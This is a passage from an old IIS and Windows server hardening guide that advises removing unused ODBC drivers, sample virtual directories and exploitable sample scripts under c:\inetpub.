    use.   Now,  under  ODBC  Drivers,  again,  you  should remove any
    drivers you do  not use.   Having 'SQL Server'  means people could
    potentially proxy  off your  machine to  another SQL  server.  The
    'Microsoft Text Driver'  should definately be  deleted.  The  more
    you delete, the safer you are.   Let's now pop over to IIS.   Pull
    up MMC or the adminstrative  web interface.  Follow down  the tree
    branches  until  you  get  to  Default  Web Site (or whatever your
    website might  be).   Examine which  virtual directories  you have
    mounted into your site.  You should research the uses of these  as
    well, deleting when in doubt (record the 'Properties'  information
    first just in case).   Virtual directories suggested deleting  (if
    you have them):

        IISSamples
        IISHelp
        IISadmpwd
        Msadc

    If  you  have  Cold  Fusion  installed,  you'll  also have CFdocs.
    Remove it, as it contains  a horde of exploitable sample  scripts.
    On to the last check, which are physical files.  Let's assume  the
    web  directory  is  c:\inetpub.   Adjust  accordingly.   Check the
    following:

    c:\inetpub\scripts\tools
        This contains  by default  a few  tools to  make DSNs.  Delete
        everything in  this directory.   Or, if  you're worried  about
        deleting it, than MOVE it  out of the directory, and  into one
        that's *NOT* available through your web server

    c:\inetpub\scripts\samples
        Samples.   Delete or  move them.   Contians scripts  that  are
        known to be exploitable.

    c:\inetpub\scripts\iisadmin
        This is the  IIS 3.0 administration  interface.  IIS  4.0 uses
        something  different.   Delete  or  move  everything.   Again,
        contains exploitable sample scripts.

    c:\inetpub\iissamples\
        This contains the  ExAir sample site,  typically the SDK,  and
        other fun goodies.  But  they're samples.  Delete or  move the
        whole directory.  Contains exploitable sample scripts.